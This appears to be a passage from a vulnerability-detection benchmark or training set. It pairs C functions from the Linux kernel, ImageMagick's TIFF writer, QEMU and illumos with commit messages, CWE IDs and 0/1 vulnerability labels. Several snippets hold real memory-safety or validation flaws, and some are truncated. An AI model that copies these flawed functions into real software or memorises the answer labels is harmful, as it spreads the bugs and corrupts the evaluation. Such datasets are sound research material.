struct arm_pmu *armpmu = to_arm_pmu(event->pmu);
struct pmu *leader_pmu = event->group_leader->pmu;
if (event->pmu != leader_pmu || event->state < PERF_EVENT_STATE_OFF)
return 1;
if (event->state == PERF_EVENT_STATE_OFF && !event->attr.enable_on_exec)
return 1;
return armpmu->get_event_idx(hw_events, event) >= 0;
}
Commit Message: ARM: 7809/1: perf: fix event validation for software group leaders
It is possible to construct an event group with a software event as a
group leader and then subsequently add a hardware event to the group.
This results in the event group being validated by adding all members
of the group to a fake PMU and attempting to allocate each event on
their respective PMU.
Unfortunately, for software events wthout a corresponding arm_pmu, this
results in a kernel crash attempting to dereference the ->get_event_idx
function pointer.
This patch fixes the problem by checking explicitly for software events
and ignoring those in event validation (since they can always be
scheduled). We will probably want to revisit this for 3.12, since the
validation checks don't appear to work correctly when dealing with
multiple hardware PMUs anyway.
Cc: <[email protected]>
Reported-by: Vince Weaver <[email protected]>
Tested-by: Vince Weaver <[email protected]>
Tested-by: Mark Rutland <[email protected]>
Signed-off-by: Will Deacon <[email protected]>
Signed-off-by: Russell King <[email protected]>
CWE ID: CWE-20
Target: 1
Example 2:
Code: static void DestroyQuantumPixels(QuantumInfo *quantum_info)
{
register ssize_t
i;
ssize_t
extent;
assert(quantum_info != (QuantumInfo *) NULL);
assert(quantum_info->signature == MagickCoreSignature);
assert(quantum_info->pixels != (unsigned char **) NULL);
extent=(ssize_t) quantum_info->extent;
for (i=0; i < (ssize_t) quantum_info->number_threads; i++)
if (quantum_info->pixels[i] != (unsigned char *) NULL)
{
/*
Did we overrun our quantum buffer?
*/
assert(quantum_info->pixels[i][extent] == QuantumSignature);
quantum_info->pixels[i]=(unsigned char *) RelinquishMagickMemory(
quantum_info->pixels[i]);
}
quantum_info->pixels=(unsigned char **) RelinquishMagickMemory(
quantum_info->pixels);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/126
CWE ID: CWE-125
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static MagickBooleanType WriteTIFFImage(const ImageInfo *image_info,
Image *image)
{
const char
*mode,
*option;
CompressionType
compression;
EndianType
endian_type;
MagickBooleanType
debug,
status;
MagickOffsetType
scene;
QuantumInfo
*quantum_info;
QuantumType
quantum_type;
register ssize_t
i;
size_t
imageListLength;
ssize_t
y;
TIFF
*tiff;
TIFFInfo
tiff_info;
uint16
bits_per_sample,
compress_tag,
endian,
photometric,
predictor;
unsigned char
*pixels;
/*
Open TIFF file.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickCoreSignature);
assert(image != (Image *) NULL);
assert(image->signature == MagickCoreSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception);
if (status == MagickFalse)
return(status);
(void) SetMagickThreadValue(tiff_exception,&image->exception);
endian_type=UndefinedEndian;
option=GetImageOption(image_info,"tiff:endian");
if (option != (const char *) NULL)
{
if (LocaleNCompare(option,"msb",3) == 0)
endian_type=MSBEndian;
if (LocaleNCompare(option,"lsb",3) == 0)
endian_type=LSBEndian;;
}
switch (endian_type)
{
case LSBEndian: mode="wl"; break;
case MSBEndian: mode="wb"; break;
default: mode="w"; break;
}
#if defined(TIFF_VERSION_BIG)
if (LocaleCompare(image_info->magick,"TIFF64") == 0)
switch (endian_type)
{
case LSBEndian: mode="wl8"; break;
case MSBEndian: mode="wb8"; break;
default: mode="w8"; break;
}
#endif
tiff=TIFFClientOpen(image->filename,mode,(thandle_t) image,TIFFReadBlob,
TIFFWriteBlob,TIFFSeekBlob,TIFFCloseBlob,TIFFGetBlobSize,TIFFMapBlob,
TIFFUnmapBlob);
if (tiff == (TIFF *) NULL)
return(MagickFalse);
if (image->exception.severity > ErrorException)
{
TIFFClose(tiff);
return(MagickFalse);
}
(void) DeleteImageProfile(image,"tiff:37724");
scene=0;
debug=IsEventLogging();
(void) debug;
imageListLength=GetImageListLength(image);
do
{
/*
Initialize TIFF fields.
*/
if ((image_info->type != UndefinedType) &&
(image_info->type != OptimizeType))
(void) SetImageType(image,image_info->type);
compression=UndefinedCompression;
if (image->compression != JPEGCompression)
compression=image->compression;
if (image_info->compression != UndefinedCompression)
compression=image_info->compression;
switch (compression)
{
case FaxCompression:
case Group4Compression:
{
(void) SetImageType(image,BilevelType);
(void) SetImageDepth(image,1);
break;
}
case JPEGCompression:
{
(void) SetImageStorageClass(image,DirectClass);
(void) SetImageDepth(image,8);
break;
}
default:
break;
}
quantum_info=AcquireQuantumInfo(image_info,image);
if (quantum_info == (QuantumInfo *) NULL)
ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed");
if ((image->storage_class != PseudoClass) && (image->depth >= 32) &&
(quantum_info->format == UndefinedQuantumFormat) &&
(IsHighDynamicRangeImage(image,&image->exception) != MagickFalse))
{
status=SetQuantumFormat(image,quantum_info,FloatingPointQuantumFormat);
if (status == MagickFalse)
{
quantum_info=DestroyQuantumInfo(quantum_info);
ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed");
}
}
if ((LocaleCompare(image_info->magick,"PTIF") == 0) &&
(GetPreviousImageInList(image) != (Image *) NULL))
(void) TIFFSetField(tiff,TIFFTAG_SUBFILETYPE,FILETYPE_REDUCEDIMAGE);
if ((image->columns != (uint32) image->columns) ||
(image->rows != (uint32) image->rows))
ThrowWriterException(ImageError,"WidthOrHeightExceedsLimit");
(void) TIFFSetField(tiff,TIFFTAG_IMAGELENGTH,(uint32) image->rows);
(void) TIFFSetField(tiff,TIFFTAG_IMAGEWIDTH,(uint32) image->columns);
switch (compression)
{
case FaxCompression:
{
compress_tag=COMPRESSION_CCITTFAX3;
option=GetImageOption(image_info,"quantum:polarity");
if (option == (const char *) NULL)
SetQuantumMinIsWhite(quantum_info,MagickTrue);
break;
}
case Group4Compression:
{
compress_tag=COMPRESSION_CCITTFAX4;
option=GetImageOption(image_info,"quantum:polarity");
if (option == (const char *) NULL)
SetQuantumMinIsWhite(quantum_info,MagickTrue);
break;
}
#if defined(COMPRESSION_JBIG)
case JBIG1Compression:
{
compress_tag=COMPRESSION_JBIG;
break;
}
#endif
case JPEGCompression:
{
compress_tag=COMPRESSION_JPEG;
break;
}
#if defined(COMPRESSION_LZMA)
case LZMACompression:
{
compress_tag=COMPRESSION_LZMA;
break;
}
#endif
case LZWCompression:
{
compress_tag=COMPRESSION_LZW;
break;
}
case RLECompression:
{
compress_tag=COMPRESSION_PACKBITS;
break;
}
#if defined(COMPRESSION_WEBP)
case WebPCompression:
{
compress_tag=COMPRESSION_WEBP;
break;
}
#endif
case ZipCompression:
{
compress_tag=COMPRESSION_ADOBE_DEFLATE;
break;
}
#if defined(COMPRESSION_ZSTD)
case ZstdCompression:
{
compress_tag=COMPRESSION_ZSTD;
break;
}
#endif
case NoCompression:
default:
{
compress_tag=COMPRESSION_NONE;
break;
}
}
#if defined(MAGICKCORE_HAVE_TIFFISCODECCONFIGURED) || (TIFFLIB_VERSION > 20040919)
if ((compress_tag != COMPRESSION_NONE) &&
(TIFFIsCODECConfigured(compress_tag) == 0))
{
(void) ThrowMagickException(&image->exception,GetMagickModule(),
CoderError,"CompressionNotSupported","`%s'",CommandOptionToMnemonic(
MagickCompressOptions,(ssize_t) compression));
compress_tag=COMPRESSION_NONE;
}
#else
switch (compress_tag)
{
#if defined(CCITT_SUPPORT)
case COMPRESSION_CCITTFAX3:
case COMPRESSION_CCITTFAX4:
#endif
#if defined(YCBCR_SUPPORT) && defined(JPEG_SUPPORT)
case COMPRESSION_JPEG:
#endif
#if defined(LZMA_SUPPORT) && defined(COMPRESSION_LZMA)
case COMPRESSION_LZMA:
#endif
#if defined(LZW_SUPPORT)
case COMPRESSION_LZW:
#endif
#if defined(PACKBITS_SUPPORT)
case COMPRESSION_PACKBITS:
#endif
#if defined(ZIP_SUPPORT)
case COMPRESSION_ADOBE_DEFLATE:
#endif
case COMPRESSION_NONE:
break;
default:
{
(void) ThrowMagickException(&image->exception,GetMagickModule(),
CoderError,"CompressionNotSupported","`%s'",CommandOptionToMnemonic(
MagickCompressOptions,(ssize_t) compression));
compress_tag=COMPRESSION_NONE;
break;
}
}
#endif
if (image->colorspace == CMYKColorspace)
{
photometric=PHOTOMETRIC_SEPARATED;
(void) TIFFSetField(tiff,TIFFTAG_SAMPLESPERPIXEL,4);
(void) TIFFSetField(tiff,TIFFTAG_INKSET,INKSET_CMYK);
}
else
{
/*
Full color TIFF raster.
*/
if (image->colorspace == LabColorspace)
{
photometric=PHOTOMETRIC_CIELAB;
EncodeLabImage(image,&image->exception);
}
else
if (image->colorspace == YCbCrColorspace)
{
photometric=PHOTOMETRIC_YCBCR;
(void) TIFFSetField(tiff,TIFFTAG_YCBCRSUBSAMPLING,1,1);
(void) SetImageStorageClass(image,DirectClass);
(void) SetImageDepth(image,8);
}
else
photometric=PHOTOMETRIC_RGB;
(void) TIFFSetField(tiff,TIFFTAG_SAMPLESPERPIXEL,3);
if ((image_info->type != TrueColorType) &&
(image_info->type != TrueColorMatteType))
{
if ((image_info->type != PaletteType) &&
(SetImageGray(image,&image->exception) != MagickFalse))
{
photometric=(uint16) (quantum_info->min_is_white !=
MagickFalse ? PHOTOMETRIC_MINISWHITE :
PHOTOMETRIC_MINISBLACK);
(void) TIFFSetField(tiff,TIFFTAG_SAMPLESPERPIXEL,1);
if ((image->depth == 1) && (image->matte == MagickFalse))
SetImageMonochrome(image,&image->exception);
}
else
if (image->storage_class == PseudoClass)
{
size_t
depth;
/*
Colormapped TIFF raster.
*/
(void) TIFFSetField(tiff,TIFFTAG_SAMPLESPERPIXEL,1);
photometric=PHOTOMETRIC_PALETTE;
depth=1;
while ((GetQuantumRange(depth)+1) < image->colors)
depth<<=1;
status=SetQuantumDepth(image,quantum_info,depth);
if (status == MagickFalse)
ThrowWriterException(ResourceLimitError,
"MemoryAllocationFailed");
}
}
}
(void) TIFFGetFieldDefaulted(tiff,TIFFTAG_FILLORDER,&endian);
if ((compress_tag == COMPRESSION_CCITTFAX3) ||
(compress_tag == COMPRESSION_CCITTFAX4))
{
if ((photometric != PHOTOMETRIC_MINISWHITE) &&
(photometric != PHOTOMETRIC_MINISBLACK))
{
compress_tag=COMPRESSION_NONE;
endian=FILLORDER_MSB2LSB;
}
}
option=GetImageOption(image_info,"tiff:fill-order");
if (option != (const char *) NULL)
{
if (LocaleNCompare(option,"msb",3) == 0)
endian=FILLORDER_MSB2LSB;
if (LocaleNCompare(option,"lsb",3) == 0)
endian=FILLORDER_LSB2MSB;
}
(void) TIFFSetField(tiff,TIFFTAG_COMPRESSION,compress_tag);
(void) TIFFSetField(tiff,TIFFTAG_FILLORDER,endian);
(void) TIFFSetField(tiff,TIFFTAG_BITSPERSAMPLE,quantum_info->depth);
if (image->matte != MagickFalse)
{
uint16
extra_samples,
sample_info[1],
samples_per_pixel;
/*
TIFF has a matte channel.
*/
extra_samples=1;
sample_info[0]=EXTRASAMPLE_UNASSALPHA;
option=GetImageOption(image_info,"tiff:alpha");
if (option != (const char *) NULL)
{
if (LocaleCompare(option,"associated") == 0)
sample_info[0]=EXTRASAMPLE_ASSOCALPHA;
else
if (LocaleCompare(option,"unspecified") == 0)
sample_info[0]=EXTRASAMPLE_UNSPECIFIED;
}
(void) TIFFGetFieldDefaulted(tiff,TIFFTAG_SAMPLESPERPIXEL,
&samples_per_pixel);
(void) TIFFSetField(tiff,TIFFTAG_SAMPLESPERPIXEL,samples_per_pixel+1);
(void) TIFFSetField(tiff,TIFFTAG_EXTRASAMPLES,extra_samples,
&sample_info);
if (sample_info[0] == EXTRASAMPLE_ASSOCALPHA)
SetQuantumAlphaType(quantum_info,AssociatedQuantumAlpha);
}
(void) TIFFSetField(tiff,TIFFTAG_PHOTOMETRIC,photometric);
switch (quantum_info->format)
{
case FloatingPointQuantumFormat:
{
(void) TIFFSetField(tiff,TIFFTAG_SAMPLEFORMAT,SAMPLEFORMAT_IEEEFP);
(void) TIFFSetField(tiff,TIFFTAG_SMINSAMPLEVALUE,quantum_info->minimum);
(void) TIFFSetField(tiff,TIFFTAG_SMAXSAMPLEVALUE,quantum_info->maximum);
break;
}
case SignedQuantumFormat:
{
(void) TIFFSetField(tiff,TIFFTAG_SAMPLEFORMAT,SAMPLEFORMAT_INT);
break;
}
case UnsignedQuantumFormat:
{
(void) TIFFSetField(tiff,TIFFTAG_SAMPLEFORMAT,SAMPLEFORMAT_UINT);
break;
}
default:
break;
}
(void) TIFFSetField(tiff,TIFFTAG_PLANARCONFIG,PLANARCONFIG_CONTIG);
if (photometric == PHOTOMETRIC_RGB)
if ((image_info->interlace == PlaneInterlace) ||
(image_info->interlace == PartitionInterlace))
(void) TIFFSetField(tiff,TIFFTAG_PLANARCONFIG,PLANARCONFIG_SEPARATE);
predictor=0;
switch (compress_tag)
{
case COMPRESSION_JPEG:
{
#if defined(JPEG_SUPPORT)
if (image_info->quality != UndefinedCompressionQuality)
(void) TIFFSetField(tiff,TIFFTAG_JPEGQUALITY,image_info->quality);
(void) TIFFSetField(tiff,TIFFTAG_JPEGCOLORMODE,JPEGCOLORMODE_RAW);
if (IssRGBCompatibleColorspace(image->colorspace) != MagickFalse)
{
const char
*value;
(void) TIFFSetField(tiff,TIFFTAG_JPEGCOLORMODE,JPEGCOLORMODE_RGB);
if (image->colorspace == YCbCrColorspace)
{
const char
*sampling_factor;
GeometryInfo
geometry_info;
MagickStatusType
flags;
sampling_factor=(const char *) NULL;
value=GetImageProperty(image,"jpeg:sampling-factor");
if (value != (char *) NULL)
{
sampling_factor=value;
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
" Input sampling-factors=%s",sampling_factor);
}
if (image_info->sampling_factor != (char *) NULL)
sampling_factor=image_info->sampling_factor;
if (sampling_factor != (const char *) NULL)
{
flags=ParseGeometry(sampling_factor,&geometry_info);
if ((flags & SigmaValue) == 0)
geometry_info.sigma=geometry_info.rho;
(void) TIFFSetField(tiff,TIFFTAG_YCBCRSUBSAMPLING,(uint16)
geometry_info.rho,(uint16) geometry_info.sigma);
}
}
}
(void) TIFFGetFieldDefaulted(tiff,TIFFTAG_BITSPERSAMPLE,
&bits_per_sample);
if (bits_per_sample == 12)
(void) TIFFSetField(tiff,TIFFTAG_JPEGTABLESMODE,JPEGTABLESMODE_QUANT);
#endif
break;
}
case COMPRESSION_ADOBE_DEFLATE:
{
(void) TIFFGetFieldDefaulted(tiff,TIFFTAG_BITSPERSAMPLE,
&bits_per_sample);
if (((photometric == PHOTOMETRIC_RGB) ||
(photometric == PHOTOMETRIC_SEPARATED) ||
(photometric == PHOTOMETRIC_MINISBLACK)) &&
((bits_per_sample == 8) || (bits_per_sample == 16)))
predictor=PREDICTOR_HORIZONTAL;
(void) TIFFSetField(tiff,TIFFTAG_ZIPQUALITY,(long) (
image_info->quality == UndefinedCompressionQuality ? 7 :
MagickMin((ssize_t) image_info->quality/10,9)));
break;
}
case COMPRESSION_CCITTFAX3:
{
/*
Byte-aligned EOL.
*/
(void) TIFFSetField(tiff,TIFFTAG_GROUP3OPTIONS,4);
break;
}
case COMPRESSION_CCITTFAX4:
break;
#if defined(LZMA_SUPPORT) && defined(COMPRESSION_LZMA)
case COMPRESSION_LZMA:
{
if (((photometric == PHOTOMETRIC_RGB) ||
(photometric == PHOTOMETRIC_SEPARATED) ||
(photometric == PHOTOMETRIC_MINISBLACK)) &&
((bits_per_sample == 8) || (bits_per_sample == 16)))
predictor=PREDICTOR_HORIZONTAL;
(void) TIFFSetField(tiff,TIFFTAG_LZMAPRESET,(long) (
image_info->quality == UndefinedCompressionQuality ? 7 :
MagickMin((ssize_t) image_info->quality/10,9)));
break;
}
#endif
case COMPRESSION_LZW:
{
(void) TIFFGetFieldDefaulted(tiff,TIFFTAG_BITSPERSAMPLE,
&bits_per_sample);
if (((photometric == PHOTOMETRIC_RGB) ||
(photometric == PHOTOMETRIC_SEPARATED) ||
(photometric == PHOTOMETRIC_MINISBLACK)) &&
((bits_per_sample == 8) || (bits_per_sample == 16)))
predictor=PREDICTOR_HORIZONTAL;
break;
}
#if defined(WEBP_SUPPORT) && defined(COMPRESSION_WEBP)
case COMPRESSION_WEBP:
{
(void) TIFFGetFieldDefaulted(tiff,TIFFTAG_BITSPERSAMPLE,
&bits_per_sample);
if (((photometric == PHOTOMETRIC_RGB) ||
(photometric == PHOTOMETRIC_SEPARATED) ||
(photometric == PHOTOMETRIC_MINISBLACK)) &&
((bits_per_sample == 8) || (bits_per_sample == 16)))
predictor=PREDICTOR_HORIZONTAL;
(void) TIFFSetField(tiff,TIFFTAG_WEBP_LEVEL,mage_info->quality);
if (image_info->quality >= 100)
(void) TIFFSetField(tiff,TIFFTAG_WEBP_LOSSLESS,1);
break;
}
#endif
#if defined(ZSTD_SUPPORT) && defined(COMPRESSION_ZSTD)
case COMPRESSION_ZSTD:
{
(void) TIFFGetFieldDefaulted(tiff,TIFFTAG_BITSPERSAMPLE,
&bits_per_sample);
if (((photometric == PHOTOMETRIC_RGB) ||
(photometric == PHOTOMETRIC_SEPARATED) ||
(photometric == PHOTOMETRIC_MINISBLACK)) &&
((bits_per_sample == 8) || (bits_per_sample == 16)))
predictor=PREDICTOR_HORIZONTAL;
(void) TIFFSetField(tiff,TIFFTAG_ZSTD_LEVEL,22*image_info->quality/
100.0);
break;
}
#endif
default:
break;
}
option=GetImageOption(image_info,"tiff:predictor");
if (option != (const char * ) NULL)
predictor=(size_t) strtol(option,(char **) NULL,10);
if (predictor != 0)
(void) TIFFSetField(tiff,TIFFTAG_PREDICTOR,predictor);
if ((image->x_resolution != 0.0) && (image->y_resolution != 0.0))
{
unsigned short
units;
/*
Set image resolution.
*/
units=RESUNIT_NONE;
if (image->units == PixelsPerInchResolution)
units=RESUNIT_INCH;
if (image->units == PixelsPerCentimeterResolution)
units=RESUNIT_CENTIMETER;
(void) TIFFSetField(tiff,TIFFTAG_RESOLUTIONUNIT,(uint16) units);
(void) TIFFSetField(tiff,TIFFTAG_XRESOLUTION,image->x_resolution);
(void) TIFFSetField(tiff,TIFFTAG_YRESOLUTION,image->y_resolution);
if ((image->page.x < 0) || (image->page.y < 0))
(void) ThrowMagickException(&image->exception,GetMagickModule(),
CoderError,"TIFF: negative image positions unsupported","%s",
image->filename);
if ((image->page.x > 0) && (image->x_resolution > 0.0))
{
/*
Set horizontal image position.
*/
(void) TIFFSetField(tiff,TIFFTAG_XPOSITION,(float) image->page.x/
image->x_resolution);
}
if ((image->page.y > 0) && (image->y_resolution > 0.0))
{
/*
Set vertical image position.
*/
(void) TIFFSetField(tiff,TIFFTAG_YPOSITION,(float) image->page.y/
image->y_resolution);
}
}
if (image->chromaticity.white_point.x != 0.0)
{
float
chromaticity[6];
/*
Set image chromaticity.
*/
chromaticity[0]=(float) image->chromaticity.red_primary.x;
chromaticity[1]=(float) image->chromaticity.red_primary.y;
chromaticity[2]=(float) image->chromaticity.green_primary.x;
chromaticity[3]=(float) image->chromaticity.green_primary.y;
chromaticity[4]=(float) image->chromaticity.blue_primary.x;
chromaticity[5]=(float) image->chromaticity.blue_primary.y;
(void) TIFFSetField(tiff,TIFFTAG_PRIMARYCHROMATICITIES,chromaticity);
chromaticity[0]=(float) image->chromaticity.white_point.x;
chromaticity[1]=(float) image->chromaticity.white_point.y;
(void) TIFFSetField(tiff,TIFFTAG_WHITEPOINT,chromaticity);
}
if ((LocaleCompare(image_info->magick,"PTIF") != 0) &&
(image_info->adjoin != MagickFalse) && (imageListLength > 1))
{
(void) TIFFSetField(tiff,TIFFTAG_SUBFILETYPE,FILETYPE_PAGE);
if (image->scene != 0)
(void) TIFFSetField(tiff,TIFFTAG_PAGENUMBER,(uint16) image->scene,
imageListLength);
}
if (image->orientation != UndefinedOrientation)
(void) TIFFSetField(tiff,TIFFTAG_ORIENTATION,(uint16) image->orientation);
else
(void) TIFFSetField(tiff,TIFFTAG_ORIENTATION,ORIENTATION_TOPLEFT);
(void) TIFFSetProfiles(tiff,image);
{
uint16
page,
pages;
page=(uint16) scene;
pages=(uint16) imageListLength;
if ((LocaleCompare(image_info->magick,"PTIF") != 0) &&
(image_info->adjoin != MagickFalse) && (pages > 1))
(void) TIFFSetField(tiff,TIFFTAG_SUBFILETYPE,FILETYPE_PAGE);
(void) TIFFSetField(tiff,TIFFTAG_PAGENUMBER,page,pages);
}
(void) TIFFSetProperties(tiff,image_info,image);
DisableMSCWarning(4127)
if (0)
RestoreMSCWarning
(void) TIFFSetEXIFProperties(tiff,image);
/*
Write image scanlines.
*/
if (GetTIFFInfo(image_info,tiff,&tiff_info) == MagickFalse)
ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed");
quantum_info->endian=LSBEndian;
pixels=GetQuantumPixels(quantum_info);
tiff_info.scanline=GetQuantumPixels(quantum_info);
switch (photometric)
{
case PHOTOMETRIC_CIELAB:
case PHOTOMETRIC_YCBCR:
case PHOTOMETRIC_RGB:
{
/*
RGB TIFF image.
*/
switch (image_info->interlace)
{
case NoInterlace:
default:
{
quantum_type=RGBQuantum;
if (image->matte != MagickFalse)
quantum_type=RGBAQuantum;
for (y=0; y < (ssize_t) image->rows; y++)
{
register const PixelPacket
*magick_restrict p;
p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);
if (p == (const PixelPacket *) NULL)
break;
(void) ExportQuantumPixels(image,(const CacheView *) NULL,
quantum_info,quantum_type,pixels,&image->exception);
if (TIFFWritePixels(tiff,&tiff_info,y,0,image) == -1)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,(MagickOffsetType)
y,image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
case PlaneInterlace:
case PartitionInterlace:
{
/*
Plane interlacing: RRRRRR...GGGGGG...BBBBBB...
*/
for (y=0; y < (ssize_t) image->rows; y++)
{
register const PixelPacket
*magick_restrict p;
p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);
if (p == (const PixelPacket *) NULL)
break;
(void) ExportQuantumPixels(image,(const CacheView *) NULL,
quantum_info,RedQuantum,pixels,&image->exception);
if (TIFFWritePixels(tiff,&tiff_info,y,0,image) == -1)
break;
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,100,400);
if (status == MagickFalse)
break;
}
for (y=0; y < (ssize_t) image->rows; y++)
{
register const PixelPacket
*magick_restrict p;
p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);
if (p == (const PixelPacket *) NULL)
break;
(void) ExportQuantumPixels(image,(const CacheView *) NULL,
quantum_info,GreenQuantum,pixels,&image->exception);
if (TIFFWritePixels(tiff,&tiff_info,y,1,image) == -1)
break;
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,200,400);
if (status == MagickFalse)
break;
}
for (y=0; y < (ssize_t) image->rows; y++)
{
register const PixelPacket
*magick_restrict p;
p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);
if (p == (const PixelPacket *) NULL)
break;
(void) ExportQuantumPixels(image,(const CacheView *) NULL,
quantum_info,BlueQuantum,pixels,&image->exception);
if (TIFFWritePixels(tiff,&tiff_info,y,2,image) == -1)
break;
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,300,400);
if (status == MagickFalse)
break;
}
if (image->matte != MagickFalse)
for (y=0; y < (ssize_t) image->rows; y++)
{
register const PixelPacket
*magick_restrict p;
p=GetVirtualPixels(image,0,y,image->columns,1,
&image->exception);
if (p == (const PixelPacket *) NULL)
break;
(void) ExportQuantumPixels(image,(const CacheView *) NULL,
quantum_info,AlphaQuantum,pixels,&image->exception);
if (TIFFWritePixels(tiff,&tiff_info,y,3,image) == -1)
break;
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,400,400);
if (status == MagickFalse)
break;
}
break;
}
}
break;
}
case PHOTOMETRIC_SEPARATED:
{
/*
CMYK TIFF image.
*/
quantum_type=CMYKQuantum;
if (image->matte != MagickFalse)
quantum_type=CMYKAQuantum;
if (image->colorspace != CMYKColorspace)
(void) TransformImageColorspace(image,CMYKColorspace);
for (y=0; y < (ssize_t) image->rows; y++)
{
register const PixelPacket
*magick_restrict p;
p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);
if (p == (const PixelPacket *) NULL)
break;
(void) ExportQuantumPixels(image,(const CacheView *) NULL,
quantum_info,quantum_type,pixels,&image->exception);
if (TIFFWritePixels(tiff,&tiff_info,y,0,image) == -1)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
case PHOTOMETRIC_PALETTE:
{
uint16
*blue,
*green,
*red;
/*
Colormapped TIFF image.
*/
red=(uint16 *) AcquireQuantumMemory(65536,sizeof(*red));
green=(uint16 *) AcquireQuantumMemory(65536,sizeof(*green));
blue=(uint16 *) AcquireQuantumMemory(65536,sizeof(*blue));
if ((red == (uint16 *) NULL) || (green == (uint16 *) NULL) ||
(blue == (uint16 *) NULL))
{
if (red != (uint16 *) NULL)
red=(uint16 *) RelinquishMagickMemory(red);
if (green != (uint16 *) NULL)
green=(uint16 *) RelinquishMagickMemory(green);
if (blue != (uint16 *) NULL)
blue=(uint16 *) RelinquishMagickMemory(blue);
ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed");
}
/*
Initialize TIFF colormap.
*/
(void) memset(red,0,65536*sizeof(*red));
(void) memset(green,0,65536*sizeof(*green));
(void) memset(blue,0,65536*sizeof(*blue));
for (i=0; i < (ssize_t) image->colors; i++)
{
red[i]=ScaleQuantumToShort(image->colormap[i].red);
green[i]=ScaleQuantumToShort(image->colormap[i].green);
blue[i]=ScaleQuantumToShort(image->colormap[i].blue);
}
(void) TIFFSetField(tiff,TIFFTAG_COLORMAP,red,green,blue);
red=(uint16 *) RelinquishMagickMemory(red);
green=(uint16 *) RelinquishMagickMemory(green);
blue=(uint16 *) RelinquishMagickMemory(blue);
}
default:
{
/*
Convert PseudoClass packets to contiguous grayscale scanlines.
*/
quantum_type=IndexQuantum;
if (image->matte != MagickFalse)
{
if (photometric != PHOTOMETRIC_PALETTE)
quantum_type=GrayAlphaQuantum;
else
quantum_type=IndexAlphaQuantum;
}
else
if (photometric != PHOTOMETRIC_PALETTE)
quantum_type=GrayQuantum;
for (y=0; y < (ssize_t) image->rows; y++)
{
register const PixelPacket
*magick_restrict p;
p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);
if (p == (const PixelPacket *) NULL)
break;
(void) ExportQuantumPixels(image,(const CacheView *) NULL,
quantum_info,quantum_type,pixels,&image->exception);
if (TIFFWritePixels(tiff,&tiff_info,y,0,image) == -1)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
}
quantum_info=DestroyQuantumInfo(quantum_info);
if (image->colorspace == LabColorspace)
DecodeLabImage(image,&image->exception);
DestroyTIFFInfo(&tiff_info);
if (image->exception.severity > ErrorException)
break;
DisableMSCWarning(4127)
if (0 && (image_info->verbose != MagickFalse))
RestoreMSCWarning
TIFFPrintDirectory(tiff,stdout,MagickFalse);
(void) TIFFWriteDirectory(tiff);
image=SyncNextImageInList(image);
if (image == (Image *) NULL)
break;
status=SetImageProgress(image,SaveImagesTag,scene++,imageListLength);
if (status == MagickFalse)
break;
} while (image_info->adjoin != MagickFalse);
TIFFClose(tiff);
return(image->exception.severity > ErrorException ? MagickFalse : MagickTrue);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/1560
CWE ID: CWE-125
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static ssize_t stellaris_enet_receive(NetClientState *nc, const uint8_t *buf, size_t size)
{
stellaris_enet_state *s = qemu_get_nic_opaque(nc);
int n;
uint8_t *p;
uint32_t crc;
if ((s->rctl & SE_RCTL_RXEN) == 0)
return -1;
if (s->np >= 31) {
return 0;
}
DPRINTF("Received packet len=%zu\n", size);
n = s->next_packet + s->np;
if (n >= 31)
n -= 31;
s->np++;
s->rx[n].len = size + 6;
p = s->rx[n].data;
*(p++) = (size + 6);
memset(p, 0, (6 - size) & 3);
}
Commit Message:
CWE ID: CWE-20
Target: 1
Example 2:
Code: devzvol_validate(struct sdev_node *dv)
{
dmu_objset_type_t do_type;
char *dsname;
char *nm = dv->sdev_name;
int rc;
sdcmn_err13(("validating ('%s' '%s')", dv->sdev_path, nm));
/*
* validate only READY nodes; if someone is sitting on the
* directory of a dataset that just got destroyed we could
* get a zombie node which we just skip.
*/
if (dv->sdev_state != SDEV_READY) {
sdcmn_err13(("skipping '%s'", nm));
return (SDEV_VTOR_SKIP);
}
if ((strcmp(dv->sdev_path, ZVOL_DIR "/dsk") == 0) ||
(strcmp(dv->sdev_path, ZVOL_DIR "/rdsk") == 0))
return (SDEV_VTOR_VALID);
dsname = devzvol_make_dsname(dv->sdev_path, NULL);
if (dsname == NULL)
return (SDEV_VTOR_INVALID);
rc = devzvol_objset_check(dsname, &do_type);
sdcmn_err13((" '%s' rc %d", dsname, rc));
if (rc != 0) {
kmem_free(dsname, strlen(dsname) + 1);
return (SDEV_VTOR_INVALID);
}
sdcmn_err13((" v_type %d do_type %d",
SDEVTOV(dv)->v_type, do_type));
if ((SDEVTOV(dv)->v_type == VLNK && do_type != DMU_OST_ZVOL) ||
((SDEVTOV(dv)->v_type == VBLK || SDEVTOV(dv)->v_type == VCHR) &&
